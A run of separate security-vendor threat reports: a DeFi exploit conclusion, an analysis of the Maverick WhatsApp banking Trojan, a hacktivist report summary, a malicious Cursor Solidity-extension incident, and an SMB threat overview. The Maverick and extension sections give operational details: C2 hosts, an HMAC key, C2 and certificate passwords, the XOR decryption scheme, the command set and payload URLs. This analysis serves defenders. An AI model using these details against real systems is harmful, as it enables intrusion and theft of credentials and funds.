Conclusion

The BetterBank exploit was a multifaceted attack that combined technical precision with detailed knowledge of the protocol’s design flaws. The root cause was a lack of validation in the reward-minting logic, which enabled an attacker to generate unlimited value from a counterfeit liquidity pool. This technical failure was compounded by an organizational breakdown whereby a critical vulnerability explicitly identified in a security audit was downgraded in severity and left unpatched.

The incident serves as a powerful case study for developers, auditors, and investors. It demonstrates that ensuring the security of a decentralized protocol is a shared, ongoing responsibility. The vulnerability was not merely a coding error, but rather a design flaw that created an exploitable surface. The confusion and crisis communications that followed the exploit are a stark reminder of the consequences when communication breaks down between security professionals and protocol teams. While the return of a portion of the funds is a positive outcome, it does not overshadow the core lesson: in the world of decentralized finance, every line of code matters, every audit finding must be taken seriously, and every protocol must adopt a proactive, multilayered defense posture to safeguard against the persistent and evolving threats of the digital frontier.

A malware campaign was recently detected in Brazil, distributing a malicious LNK file using WhatsApp. It targets mainly Brazilians and uses Portuguese-named URLs. To evade detection, the command-and-control (C2) server verifies each download to ensure it originates from the malware itself.
The whole infection chain is complex and fully fileless, and by the end, it will deliver a new banking Trojan named Maverick, which contains many code overlaps with Coyote. In this blog post, we detail the entire infection chain, encryption algorithm, and its targets, as well as discuss the similarities with known threats.

Key findings:

• A massive campaign disseminated through WhatsApp distributed the new Brazilian banking Trojan named “Maverick” through ZIP files containing a malicious LNK file, which is not blocked on the messaging platform.
• Once installed, the Trojan uses the open-source project WPPConnect to automate the sending of messages in hijacked accounts via WhatsApp Web, taking advantage of the access to send the malicious message to contacts.
• The new Trojan features code similarities with another Brazilian banking Trojan called Coyote; however, we consider Maverick to be a new threat.
• The Maverick Trojan checks the time zone, language, region, and date and time format on infected machines to ensure the victim is in Brazil; otherwise, the malware will not be installed.
• The banking Trojan can fully control the infected computer, taking screenshots, monitoring open browsers and websites, installing a keylogger, controlling the mouse, blocking the screen when accessing a banking website, terminating processes, and opening phishing pages in an overlay. It aims to capture banking credentials.
• Once active, the new Trojan will monitor the victims’ access to 26 Brazilian bank websites, 6 cryptocurrency exchange websites, and 1 payment platform.
• All infections are modular and performed in memory, with minimal disk activity, using PowerShell, .NET, and shellcode encrypted using Donut.
• The new Trojan uses AI in the code-writing process, especially in certificate decryption and general code development.
• Our solutions have blocked 62 thousand infection attempts using the malicious LNK file in the first 10 days of October, only in Brazil.

Initial infection vector

The infection chain works according to the diagram below:

The infection begins when the victim receives a malicious .LNK file inside a ZIP archive via a WhatsApp message. The filename can be generic, or it can pretend to be from a bank:

The message said, “Visualization allowed only in computers. In case you’re using the Chrome browser, choose “keep file” because it’s a zipped file”.

The LNK is encoded to execute cmd.exe with the following arguments:

The decoded commands point to the execution of a PowerShell script:

The command will contact the C2 to download another PowerShell script. It is important to note that the C2 also validates the “User-Agent” of the HTTP request to ensure that it is coming from the PowerShell command. This is why, without the correct “User-Agent”, the C2 returns an HTTP 401 code.

The entry script is used to decode an embedded .NET file, and all of this occurs only in memory. The .NET file is decoded by dividing each byte by a specific value; in the script above, the value is “174”. The PE file is decoded and is then loaded as a .NET assembly within the PowerShell process, making the entire infection fileless, that is, without files on disk.

Initial .NET loader

The initial .NET loader is heavily obfuscated using Control Flow Flattening and indirect function calls, storing them in a large vector of functions and calling them from there. In addition to obfuscation, it also uses random method and variable names to hinder analysis. Nevertheless, after our analysis, we were able to reconstruct (to a certain extent) its main flow, which consists of downloading and decrypting two payloads.

The obfuscation does not hide the method’s variable names, which means it is possible to reconstruct the function easily if the same function is reused elsewhere. Most of the functions used in this initial stage are the same ones used in the final stage of the banking Trojan, which is not obfuscated. The sole purpose of this stage is to download two encrypted shellcodes from the C2. To request them, an API exposed by the C2 on the “/api/v1/” routes will be used. The requested URL is as follows:

• hxxps://sorvetenopote.com/api/v1/3d045ada0df942c983635e

To communicate with its API, it sends the API key in the “X-Request-Headers” field of the HTTP request header. The API key used is calculated locally using the following algorithm:

• “Base64(HMAC256(Key))”

The HMAC is used to sign messages with a specific key; in this case, the threat actor uses it to generate the “API Key” using the HMAC key “MaverickZapBot2025SecretKey12345”. The signed data sent to the C2 is “3d045ada0df942c983635e|1759847631|MaverickBot”, where each segment is separated by “|”. The first segment refers to the specific resource requested (the first encrypted shellcode), the second is the infection’s timestamp, and the last, “MaverickBot”, indicates that this C2 protocol may be used in future campaigns with different variants of this threat. This ensures that tools like “wget” or HTTP downloaders cannot download this stage, only the malware.

Upon response, the encrypted shellcode is a loader using Donut. At this point, the initial loader will start and follow two different execution paths: another loader for its WhatsApp infector and the final payload, which we call “MaverickBanker”. Each Donut shellcode embeds a .NET executable. The shellcode is encrypted using a XOR implementation, where the key is stored in the last bytes of the binary returned by the C2. The algorithm to decrypt the shellcode is as follows:

• Extract the last 4 bytes (int32) from the binary file; this indicates the size of the encryption key.
• Walk backwards until you reach the beginning of the encryption key (file size – 4 – key_size).
• Get the XOR key.
• Apply the XOR to the entire file using the obtained key.

WhatsApp infector downloader

After the second Donut shellcode is decrypted and started, it will load another downloader using the same obfuscation method as the previous one. It behaves similarly, but this time it will download a PE file instead of a Donut shellcode. This PE file is another .NET assembly that will be loaded into the process as a module.

One of the namespaces used by this .NET executable is named “Maverick.StageOne,” which is considered by the attacker to be the first one to be loaded. This download stage is used exclusively to download the WhatsApp infector in the same way as the previous stage. The main difference is that this time, it is not an encrypted Donut shellcode, but another .NET executable—the WhatsApp infector—which will be used to hijack the victim’s account and use it to spam their contacts in order to spread itself.

This module, which is also obfuscated, is the WhatsApp infector and represents the final payload in the infection chain. It includes a script from WPPConnect, an open-source WhatsApp automation project, as well as the Selenium browser executable, used for web automation.

The executable’s namespace name is “ZAP”, a very common word in Brazil to refer to WhatsApp. These files use almost the same obfuscation techniques as the previous examples, but the method’s variable names remain in the source code. The main behavior of this stage is to locate the WhatsApp window in the browser and use WPPConnect to instrument it, causing the infected victim to send messages to their contacts and thus spread again. The file sent depends on the “MaverickBot” executable, which will be discussed in the next section.

Maverick, the banking Trojan

The Maverick Banker comes from a different execution branch than the WhatsApp infector; it is the result of the second Donut shellcode. There are no additional download steps to execute it. This is the main payload of this campaign and is embedded within another encrypted executable named “Maverick Agent,” which performs extended activities on the machine, such as contacting the C2 and keylogging. It is described in the next section.

Upon the initial loading of Maverick Banker, it will attempt to register persistence using the startup folder. At this point, if persistence does not exist, by checking for the existence of a .bat file in the “Startup” directory, it will not only check for the file’s existence but also perform a pattern match to see if the string “for %%” is present, which is part of the initial loading process. If such a file does not exist, it will generate a new “GUID” and remove the first 6 characters. The persistence batch script will then be stored as:

• “C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\” + “HealthApp-” + GUID + “.bat”.

Next, it will generate the bat command using the hardcoded URL, which in this case is:

• “hxxps://sorvetenopote.com” + “/api/itbi/startup/” + NEW_GUID.

In the command generation function, it is possible to see the creation of an entirely new obfuscated PowerShell script.

First, it will create a variable named “$URL” and assign it the content passed as a parameter, create a “Net.WebClient” object, and call the “DownloadString.Invoke($URL)” function. Immediately after creating these small commands, it will encode them in base64. In general, the script will create a full obfuscation using functions to automatically and randomly generate blocks in PowerShell. The persistence script reassembles the initial LNK file used to start the infection.

This persistence mechanism seems a bit strange at first glance, as it always depends on the C2 being online. However, it is in fact clever, since the malware would not work without the C2. Thus, saving only the bootstrap .bat file ensures that the entire infection remains in memory. If persistence is achieved, it will start its true function, which is mainly to monitor browsers to check if they open banking pages.

The browsers running on the machine are checked for possible domains accessed on the victim’s machine to verify the web page visited by the victim. The program will use the current foreground window (window in focus) and its PID; with the PID, it will extract the process name. Monitoring will only continue if the victim is using one of the following browsers:

* Chrome
* Firefox
* MS Edge
* Brave
* Internet Explorer
* Specific bank web browser

If any browser from the list above is running, the malware will use UI Automation to extract the title of the currently open tab and use this information with a predefined list of target online banking sites to determine whether to perform any action on them. The list of target banks is compressed with gzip, encrypted using AES-256, and stored as a base64 string. The AES initialization vector (IV) is stored in the first 16 bytes of the decoded base64 data, and the key is stored in the next 32 bytes. The actual encrypted data begins at offset 48.

This encryption mechanism is the same one used by Coyote, a banking Trojan also written in .NET and documented by us in early 2024.

If any of these banks are found, the program will decrypt another PE file using the same algorithm described in the .NET Loader section of this report and will load it as an assembly, calling its entry point with the name of the open bank as an argument. This new PE is called “Maverick.Agent” and contains most of the banking logic for contacting the C2 and extracting data with it.

Maverick Agent

The agent is the binary that will do most of the banker’s work; it will first check if it is running on a machine located in Brazil. To do this, it will check the following constraints:

What each of them does is:

• IsValidBrazilianTimezone()
  Checks if the current time zone is within the Brazilian time zone range. Brazil has time zones between UTC-5 (-300 min) and UTC-2 (-120 min). If the current time zone is within this range, it returns “true”.
• IsBrazilianLocale()
  Checks if the current thread’s language or locale is set to Brazilian Portuguese. For example, “pt-BR”, “pt_br”, or any string containing “portuguese” and “brazil”. Returns “true” if the condition is met.
• IsBrazilianRegion()
  Checks if the system’s configured region is Brazil. It compares region codes like “BR”, “BRA”, or checks if the region name contains “brazil”. Returns “true” if the region is set to Brazil.
• IsBrazilianDateFormat()
  Checks if the short date format follows the Brazilian standard. The Brazilian format is dd/MM/yyyy. The function checks if the pattern starts with “dd/” and contains “/MM/” or “dd/MM”.

Right after the check, it will enable appropriate DPI support for the operating system and monitor type, ensuring that images are sharp, fit the correct scale (screen zoom), and work well on multiple monitors with different resolutions. Then, it will check for any running persistence, previously created in “C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\”. If more than one file is found, it will delete the others based on “GetCreationTime” and keep only the most recently created one.

C2 communication

Communication uses the WatsonTCP library with SSL tunnels. It utilizes a local encrypted X509 certificate to protect the communication, which is another similarity to the Coyote malware. The connection is made to the host “casadecampoamazonas.com” on port 443. The certificate is exported as encrypted, and the password used to decrypt it is Maverick2025!. After the certificate is decrypted, the client will connect to the server.

For the C2 to work, a specific password must be sent during the first contact. The password used by the agent is “101593a51d9c40fc8ec162d67504e221”. Using this password during the first connection will successfully authenticate the agent with the C2, and it will be ready to receive commands from the operator. The important commands are:

Command	Description
INFOCLIENT	Returns the information of the agent, which is used to identify it on the C2. The information used is described in the next section.
RECONNECT	Disconnect, sleep for a few seconds, and reconnect again to the C2.
REBOOT	Reboot the machine
KILLAPPLICATION	Exit the malware process
SCREENSHOT	Take a screenshot and send it to C2, compressed with gzip
KEYLOGGER	Enable the keylogger, capture all locally, and send only when the server specifically requests the logs
MOUSECLICK	Do a mouse click, used for the remote connection
KEYBOARDONECHAR	Press one char, used for the remote connection
KEYBOARDMULTIPLESCHARS	Send multiple characters used for the remote connection
TOOGLEDESKTOP	Enable remote connection and send multiple screenshots to the machine when they change (it computes a hash of each screenshot to ensure it is not the same image)
TOOGLEINTERN	Get a screenshot of a specific window
GENERATEWINDOWLOCKED	Lock the screen using one of the banks’ home pages.
LISTALLHANDLESOPENEDS	Send all open handles to the server
KILLPROCESS	Kill some process by using its handle
CLOSEHANDLE	Close a handle
MINIMIZEHANDLE	Minimize a window using its handle
MAXIMIZEHANDLE	Maximize a window using its handle
GENERATEWINDOWREQUEST	Generate a phishing window asking for the victim’s credentials used by banks
CANCELSCREENREQUEST	Disable the phishing window

Agent profile info

In the “INFOCLIENT” command, the information sent to the C2 is as follows:

• Agent ID: A SHA256 hash of all primary MAC addresses used by all interfaces
• Username
• Hostname
• Operating system version
• Client version (no value)
• Number of monitors
• Home page (home): “home” indicates which bank’s home screen should be used, sent before the Agent is decrypted by the banking application monitoring routine.
• Screen resolution

Conclusion

According to our telemetry, all victims were in Brazil, but the Trojan has the potential to spread to other countries, as an infected victim can send it to another location. Even so, the malware is designed to target only Brazilians at the moment.
It is evident that this threat is very sophisticated and complex; the entire execution chain is relatively new, but the final payload has many code overlaps and similarities with the Coyote banking Trojan, which we documented in 2024. However, some of the techniques are not exclusive to Coyote and have been observed in other low-profile banking Trojans written in .NET. The agent’s structure is also different from how Coyote operated; it did not use this architecture before.
It is very likely that Maverick is a new banking Trojan using shared code from Coyote, which may indicate that the developers of Coyote have completely refactored and rewritten a large part of their components.
This is one of the most complex infection chains we have ever detected, designed to load a banking Trojan. It has infected many people in Brazil, and its worm-like nature allows it to spread exponentially by exploiting a very popular instant messenger. The impact is enormous. Furthermore, it demonstrates the use of AI in the code-writing process, specifically in certificate decryption, which may also indicate the involvement of AI in the overall code development. Maverick works like any other banking Trojan, but the worrying aspects are its delivery method and its significant impact.
We have detected the entire infection chain since day one, preventing victim infection from the initial LNK file. Kaspersky products detect this threat with the verdict HEUR:Trojan.Multi.Powenot.a and HEUR:Trojan-Banker.MSIL.Maverick.gen.

IoCs

Dominio	IP	ASN
casadecampoamazonas[.]com	181.41.201.184	212238
sorvetenopote[.]com	77.111.101.169	396356

Hacktivism and geopolitically motivated APT groups have become a significant threat to many regions of the world in recent years, damaging infrastructure and important functions of government, business, and society. In late 2022 we predicted that the involvement of hacktivist groups in all major geopolitical conflicts from now on will only increase and this is what we’ve been observing throughout the years. With regard to the Ukrainian-Russian conflict, this has led to a sharp increase of activities carried out by groups that identify themselves as either pro-Ukrainian or pro-Russian.

The rise in cybercrime amid geopolitical tensions is alarming. Our Kaspersky Cyber Threat Intelligence team has been observing several geopolitically motivated threat actors and hacktivist groups operating in various conflict zones. Through collecting and analyzing extensive data on these groups’ tactics, techniques, and procedures (TTPs), we’ve discovered a concerning trend: hacktivists are increasingly interconnected with financially motivated groups. They share tools, infrastructure, and resources.

This collaboration has serious implications. Their campaigns may disrupt not only business operations but also ordinary citizens’ lives, affecting everything from banking services to personal data security or the functioning of the healthcare system. Moreover, monetized techniques can spread exponentially as profit-seeking actors worldwide replicate and refine them. We consider these technical findings a valuable resource for global cybersecurity efforts. In this report, we share observations on threat actors who identify themselves as pro-Ukrainian.

About this report

The main goal of this report is to provide technical evidence supporting the theory we’ve proposed based on our previous research: that most of the groups we describe here actively collaborate, effectively forming three major threat clusters.

This report includes:

• A library of threat groups, current as of 2025, with details on their main TTPs and tools.
• A technical description of signature tactics, techniques, procedures, and toolsets used by these groups. This information is intended for practical use by SOC, DFIR, CTI, and threat hunting professionals.

What this report covers

This report contains information on the current TTPs of hacktivists and APT groups targeting Russian organizations particularly in 2025, however they are not limited to Russia as a target. Further research showed that among some of the groups’ targets, such as CloudAtlas and XDSpy, were assets in European, Asian, and Middle Eastern countries. In particular, traces of infections were discovered in 2024 in Slovakia and Serbia. The report doesn’t include groups that emerged in 2025, as we didn’t have sufficient time to research their activity. We’ve divided all groups into three clusters based on their TTPs:

• Cluster I combines hacktivist and dual-purpose groups that use similar tactics, techniques, and tools. This cluster is characterized by:
• Shared infrastructure
• A unique software suite
• Identical processes, command lines, directories, and so on
• Distinctive TTPs
• Cluster II comprises APT groups that have different TTPs from the hacktivists. Among these, we can distinguish simple APTs (characterized by their use of third-party utilities, scripts that carry out all the malicious logic, shared domain registrars, and concealing their real infrastructure behind reverse proxy systems – for example, using Cloudflare services), and more sophisticated ones (distinguished by their unique TTPs).
• Cluster III includes hacktivist groups for which we’ve observed no signs of collaboration with other groups described here.

Example: Cyberthreat landscape in Russia in 2025

Hacktivism remains the key threat to Russian businesses and businesses in other conflict areas today, and the scale and complexity of these attacks keep growing. Traditionally, the term “hacktivism” refers to a blend of hacking and activism, where attackers use their skills to achieve social or political goals. Over the past few years, these threat actors have become more experienced and organized, collaborating with one another and sharing knowledge and tools to achieve common objectives.

Additionally, a new phenomenon known as “dual-purpose groups” has appeared in the Russian threat landscape in recent years. We’ve detected links between hacktivists and financially motivated groups. They use the same tools, techniques, and tactics, and even share common infrastructure and resources. Depending on the victim, they may pursue a variety of goals: demanding a ransom to decrypt data, causing irreparable damage, or leaking stolen data to the media. This suggests that these attackers belong to a single complex cluster.

Beyond this, “traditional” categories of attackers continue to operate in Russia and other regions: groups engaged in cyberespionage and purely financially motivated threat actors also remain a significant problem. Like other groups, geopolitically motivated groups are cybercriminals who undermine the secure and trustworthy use of digitalization opportunities and they can change and adapt their target regions depending on political developments.

That is why it is important to also be aware of the TTPs used by threat actors who appear to be attacking other targets. We will continue to monitor geopolitically motivated threat actors and publish technical reports about their TTPs.

Recommendations

To defend against the threats described in this report, Kaspersky experts recommend the following:

• Provide your SOC teams with access to up-to-date information on the latest attacker tactics, techniques, and procedures (TTPs). Threat intelligence feeds from reliable providers, like Kaspersky Threat Intelligence, can help with this.
• Use a comprehensive security solution that combines centralized monitoring and analysis, advanced threat detection and response, and security incident investigation tools. The Kaspersky NEXT XDR platform provides this functionality and is suitable for medium and large businesses in any industry.
• Protect every component of modern and legacy industrial automation systems with specialized OT security solutions. Kaspersky Industrial CyberSecurity (KICS) — an XDR-class platform — ensures reliable protection for critical infrastructure in energy, manufacturing, mining, and transportation.
• Conduct regular security awareness training for employees to reduce the likelihood of successful phishing and other social engineering attacks. Kaspersky Automated Security Awareness Platform is a good option for this.

The report is available for our partners and customers. If you are interested, please contact report@kaspersky.com

Attacks that leverage malicious open-source packages are becoming a major and growing threat. This type of attacks currently seems commonplace, with reports of infected packages in repositories like PyPI or npm appearing almost daily. It would seem that increased scrutiny from researchers on these repositories should have long ago minimized the profits for cybercriminals trying to make a fortune from malicious packages. However, our investigation into a recent cyberincident once again confirmed that open-source packages remain an attractive way for attackers to make easy money.

Infected out of nowhere

In June 2025, a blockchain developer from Russia reached out to us after falling victim to a cyberattack. He’d had around $500,000 in crypto assets stolen from him. Surprisingly, the victim’s operating system had been installed only a few days prior. Nothing but essential and popular apps had been downloaded to the machine. The developer was well aware of the cybersecurity risks associated with crypto transactions, so he was vigilant and carefully reviewed his every step while working online. Additionally, he used free online services for malware detection to protect his system, but no commercial antivirus software.

The circumstances of the infection piqued our interest, and we decided to investigate the origins of the incident. After obtaining a disk image of the infected system, we began our analysis.

Syntax highlighting with a catch

As we examined the files on the disk, a file named extension.js caught our attention. We found it at %userprofile%\.cursor\extensions\solidityai.solidity-1.0.9-universal\src\extension.js. Below is a snippet of its content:

This screenshot clearly shows the code requesting and executing a PowerShell script from the web server angelic[.]su: a sure sign of malware.

It turned out that extension.js was a component of the Solidity Language extension for the Cursor AI IDE, which is based on Visual Studio Code and designed for AI-assisted development. The extension is available in the Open VSX registry, used by Cursor AI, and was published about two months ago. At the time this research, the extension had been downloaded 54,000 times. The figure was likely inflated. According to the description, the extension offers numerous features to optimize work with Solidity smart contract code, specifically syntax highlighting:

We analyzed the code of every version of this extension and confirmed that it was a fake: neither syntax highlighting nor any of the other claimed features were implemented in any version. The extension has nothing to do with smart contracts. All it does is download and execute malicious code from the aforementioned web server. Furthermore, we discovered that the description of the malicious plugin was copied by the attackers from the page of a legitimate extension, which had 61,000 downloads.

How the extension got on the computer

So, we found that the malicious extension had 54,000 downloads, while the legitimate one had 61,000. But how did the attackers manage to lull the developer’s vigilance? Why would he download a malicious extension with fewer downloads than the original?

We found out that while trying to install a Solidity code syntax highlighter, the developer searched the extension registry for solidity. This query returned the following:

In the search results, the malicious extension appeared fourth, while the legitimate one was only in eighth place. Thus, while reviewing the search results, the developer clicked the first extension in the list with a significant number of downloads – which unfortunately proved to be the malicious one.

The ranking algorithm trap

How did the malicious extension appear higher in search results than the legitimate one, especially considering it had fewer downloads? It turns out the Open VSX registry ranks search results by relevance, which considers multiple factors, such as the extension rating, how recently it was published or updated, the total number of downloads, and whether the extension is verified. Consequently, the ranking is determined by a combination of factors: for example, an extension with a low number of downloads can still appear near the top of search results if that metric is offset by its recency. This is exactly what happened with the malicious plugin: the fake extension’s last update date was June 15, 2025, while the legitimate one was last updated on May 30, 2025. Thus, due to the overall mix of factors, the malicious extension’s relevance surpassed that of the original, which allowed the attackers to promote the fake extension in the search results.

The developer, who fell into the ranking algorithm trap, didn’t get the functionality he wanted: the extension didn’t do any syntax highlighting in Solidity. The victim mistook this for a bug, which he decided to investigate later, and continued his work. Meanwhile, the extension quietly installed malware on his computer.

From PowerShell scripts to remote control

As mentioned above, when the malicious plugin was activated, it downloaded a PowerShell script from https://angelic[.]su/files/1.txt.

The script checks if the ScreenConnect remote management software is installed on the computer. If not, it downloads a second malicious PowerShell script from: https://angelic[.]su/files/2.txt. This new script then downloads the ScreenConnect installer to the infected computer from https://lmfao[.]su/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest and runs it. From that point on, the attackers can control the infected computer via the newly installed software, which is configured to communicate with the C2 server relay.lmfao[.]su.

Data theft

Further analysis revealed that the attackers used ScreenConnect to upload three VBScripts to the compromised machine:

• a.vbs
• b.vbs
• m.vbs

Each of these downloaded a PowerShell script from the text-sharing service paste.ee. The download URL was obfuscated, as shown in the image below:

The downloaded PowerShell script then retrieved an image from archive[.]org. A loader known as VMDetector was then extracted from this image. VMDetector attacks were previously observed in phishing campaigns that targeted entities in Latin America. The loader downloaded and ran the final payload from paste.ee.

Our analysis of the VBScripts determined that the following payloads were downloaded to the infected computer:

• Quasar open-source backdoor (via a.vbs and b.vbs),
• Stealer that collected data from browsers, email clients, and crypto wallets (via m.vbs). Kaspersky products detect this malware as HEUR:Trojan-PSW.MSIL.PureLogs.gen.

Both implants communicated with the C2 server 144.172.112[.]84, which resolved to relay.lmfao[.]su at the time of our analysis. With these tools, the attackers successfully obtained passphrases for the developer’s wallets and then syphoned off cryptocurrency.

New malicious package

The malicious plugin didn’t last long in the extension store and was taken down on July 2, 2025. By that time, it had already been detected not only by us as we investigated the incident but also by other researchers. However, the attackers continued their campaign: just one day after the removal, they published another malicious package named “solidity”, this time exactly replicating the name of the original legitimate extension. The functionality of the fake remained unchanged: the plugin downloaded a malicious PowerShell script onto the victim’s device. However, the attackers sought to inflate the number of downloads dramatically. The new extension was supposedly downloaded around two million times. The following results appeared up until recently when users searched for solidity within the Cursor AI development environment (the plugin is currently removed thanks to our efforts).

The updated search results showed the legitimate and malicious extensions appearing side-by-side in the search rankings, occupying the seventh and eighth positions respectively. The developer names look identical at first glance, but the legitimate package was uploaded by juanblanco, while the malicious one was uploaded by juanbIanco. The font used by Cursor AI makes the lowercase letter l and uppercase I appear identical.

Therefore, the search results displayed two seemingly identical extensions: the legitimate one with 61,000 downloads and the malicious one with two million downloads. Which one would the user choose to install? Making the right choice becomes a real challenge.

Similar cyberattacks

It’s worth noting that the Solidity extensions we uncovered are not the only malicious packages published by the attackers behind this operation. We used our open-source package monitoring tool to find a malicious npm package called “solsafe”. It uses the URL https://staketree[.]net/1.txt to download ScreenConnect. In this campaign, it’s also configured to use relay.lmfao[.]su for communication with the attackers.

We also discovered that April and May 2025 saw three malicious Visual Studio Code extensions published: solaibot, among-eth, and blankebesxstnion. The infection method used in these threats is strikingly similar to the one we described above. In fact, we found almost identical functionality in their malicious scripts.

In addition, all of the listed extensions perform the same malicious actions during execution, namely:

• Download PowerShell scripts named 1.txt and 2.txt.
• Use a VBScript with an obfuscated URL to download a payload from paste.ee.
• Download an image with a payload from archive.org.

This leads us to conclude that these infection schemes are currently being widely used to attack blockchain developers. We believe the attackers won’t stop with the Solidity extensions or the solsafe package that we found.

Takeaways

Malicious packages continue to pose a significant threat to the crypto industry. Many projects today rely on open-source tools downloaded from package repositories. Unfortunately, packages from these repositories are often a source of malware infections. Therefore, we recommend extreme caution when downloading any tools. Always verify that the package you’re downloading isn’t a fake. If a package doesn’t work as advertised after you install it, be suspicious and check the downloaded source code.

In many cases, malware installed via fake open-source packages is well-known, and modern cybersecurity solutions can effectively block it. Even experienced developers must not neglect security solutions, as these can help prevent an attack in case a malicious package is installed.

Indicators of compromise

Hashes of malicious JS files
2c471e265409763024cdc33579c84d88d5aaf9aea1911266b875d3b7604a0eeb
404dd413f10ccfeea23bfb00b0e403532fa8651bfb456d84b6a16953355a800a
70309bf3d2aed946bba51fc3eedb2daa3e8044b60151f0b5c1550831fbc6df17
84d4a4c6d7e55e201b20327ca2068992180d9ec08a6827faa4ff3534b96c3d6f
eb5b35057dedb235940b2c41da9e3ae0553969f1c89a16e3f66ba6f6005c6fa8
f4721f32b8d6eb856364327c21ea3c703f1787cfb4c043f87435a8876d903b2c

Network indicators
https://angelic[.]su/files/1.txt
https://angelic[.]su/files/2.txt
https://staketree[.]net/1.txt
https://staketree[.]net/2.txt
https://relay.lmfao[.]su
https://lmfao[.]su/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest
144.172.112[.]84

Cyberattackers often view small and medium-sized businesses (SMBs) as easier targets, assuming their security measures are less robust than those of larger enterprises. In fact, attacks through contractors, also known as trusted relationship attacks, remain one of the top three methods used to breach corporate networks. With SMBs generally being less protected than large enterprises, this makes them especially attractive to both opportunistic cybercriminals and sophisticated threat actors.

At the same time, AI-driven attacks are becoming increasingly common, making phishing and malware campaigns easier to prepare and quickly adapt, thus increasing their scale. Meanwhile, cybersecurity regulations are tightening, adding more compliance pressure on SMBs.

Improving your security posture has never been more critical. Kaspersky highlights key attack vectors every SMB should be aware of to stay protected.

How malware and potentially unwanted applications (PUAs) are disguised as popular services

Kaspersky analysts have used data from the Kaspersky Security Network (KSN) to explore how frequently malicious and unwanted files and programs are disguised as legitimate applications commonly used by SMBs. The KSN is a system for processing anonymized cyberthreat-related data shared voluntarily by opted-in Kaspersky users. For this research, only data received from the users of Kaspersky solutions for SMBs were analyzed. The research focused on the following applications:

• ChatGPT
• Cisco AnyConnect
• Google Drive
• Google Meet
• DeepSeek
• Microsoft Excel
• Microsoft Outlook
• Microsoft PowerPoint
• Microsoft Teams
• Microsoft Word
• Salesforce
• Zoom

Between January and April 2025 alone, nearly 8,500 SMB users encountered cyberattacks in which malware or PUAs were disguised as these popular tools.

Among the detected threats, the highest number (1652) of unique malicious and potentially unwanted files mimicked Zoom, the widely used video conferencing platform. This accounted for nearly 41% of all unique files detected, a 14-percentage point increase compared to 2024. Microsoft Office applications remained frequent targets for impersonation: Outlook and PowerPoint each accounted for 16%, Excel for nearly 12%, while Word and Teams made up 9% and 5%, respectively.

Share of unique files with names mimicking the nine most popular legitimate applications in 2024 and 2025 (download)

A comparison of the threat landscape in 2024 and 2025 reveals a clear shift: with the growing popularity of AI services, cyberattackers are increasingly disguising malware as various AI tools. According to our analysis, the number of unique malicious files mimicking ChatGPT grew by 115%, reaching 177 in the first four months of 2025. This contributed to a three-percentage-point increase in the tool’s share among the most mimicked applications. DeepSeek, a large language model launched only in 2025, has immediately appeared on the list of impersonated tools.

Another cybercriminal tactic to watch for in 2025 is the growing use of collaboration platform brands to trick users into downloading or launching malware and PUAs. As mentioned above, the share of threats disguised as Zoom increased by 14 percentage points, reaching 1652 unique files, while Microsoft Teams and Google Drive saw increases of over three and one percentage points, respectively, with 206 and 132 cases. This pattern likely reflects the normalization of remote work and geographically distributed teams, which has made these platforms integral to business operations across industries.

Attackers are clearly leveraging the popularity and credibility of these services to increase the success rate of their campaigns.

Malicious file names mimicking popular services	2024	2025	2025 vs 2024
Zoom	26.24%	40.86%	14.62 p.p.
Microsoft Teams	1.84%	5.10%	3.25 p.p.
ChatGPT	1.47%	4.38%	2.9 p.p.
DeepSeek	0	2.05%	–
Google Drive	2.11%	3.26%	1.15 p.p.

The total number of unique malicious and unwanted files imitating legitimate applications slightly declined year-over-year, from 5,587 in 2024 to 4,043 in 2025.

Main types of threats affecting the SMB Sector, 2025 (download)

The top threats targeting SMBs in 2025 included downloaders, Trojans, and adware.

Leading the list are downloaders, potentially unwanted applications designed to install additional content from the internet, often without clearly informing the user of what’s being downloaded. While not inherently malicious, these tools are frequently exploited by attackers to deliver harmful payloads to victims’ devices.

Trojans ranked next. These are malicious programs that carry out unauthorized actions such as deleting, blocking, modifying, or copying data, or disrupting the normal operation of computers and networks. Trojans are among the most prevalent forms of malware, and cyberattackers continue to use them in a wide range of malicious campaigns.

Adware also made the top three list. These programs are designed to display advertisements on infected computers or substitute a promotional website for the default search engine in a browser. Adware often comes bundled with freeware or shareware, effectively serving as the price for using the free software. In some cases, Trojans silently download and install adware onto the victim’s machine.

Among other common types of threats were DangerousObject, Trojan-Dropper, Backdoor, Trojan-Downloader, HackTool, Trojan-PSW, and PSW-Tool. For instance, we recently identified a campaign involving a Trojan-Downloader called “TookPS“, which was distributed through fake websites imitating legitimate remote access and 3D modeling software.

How scammers and phishers trick victims into giving up accounts and money

We continue to observe a wide range of phishing campaigns and scams targeting SMBs. Attackers aim to steal login credentials for various services, from delivery platforms to banking systems, or manipulate victims into sending them money.

To do this, cyberattackers use a variety of lures, often imitating landing pages from brands commonly used by SMBs. One example is a phishing attempt targeting Google business accounts. The bait lures victims with the promise of promoting their company on X. It requires them to first log in to a dedicated platform using their Google account with credentials that will end up in cyberattackers’ hands.

Another fake landing page impersonated a bank that offered business loans: a “Global Trust Bank”. Since legitimate organizations with that name exist in multiple countries, this phishing attempt may have seemed believable. The attackers tried to lure users with favorable business loan terms – but only after victims submitted their online banking credentials, giving the criminals access to their accounts.

We also saw a range of phishing emails targeting SMBs. In one recent case detected by our systems, the attacker sent a fake notification allegedly from DocuSign, an electronic document-signing service.

SMBs can even find themselves targeted by classic Nigerian scams. In one recent example, the sender claimed to represent a wealthy client from Turkey who wanted to move $33 million abroad to allegedly avoid sanctions, and invited the recipient to handle the funds. In Nigerian scams, fraudsters typically cajole money. They may later request a relatively small payment to a manager or lawyer compared to the amount originally promised.

Beyond these threats, SMBs are bombarded daily with hundreds of spam emails. Some promise attractive deals on email marketing or loans; others offer services like reputation management, content creation, or lead generation. In general, these offers are crafted to reflect the typical needs of small businesses. Not surprisingly, AI has also made its way into the spam folder – with offers to automate various business processes.

We have also seen spammers offering dubious deals like purchasing a database of over 400,000 businesses for $100, supposedly to be used for selling the company’s B2B products, or manipulating reviews on a review platform.

Security tips

SMBs can reduce risks and ensure business continuity by investing in comprehensive cybersecurity solutions and increasing employee awareness. It is essential to implement robust measures such as spam filters, email authentication protocols, and strict verification procedures for financial transactions and the handling of sensitive information.

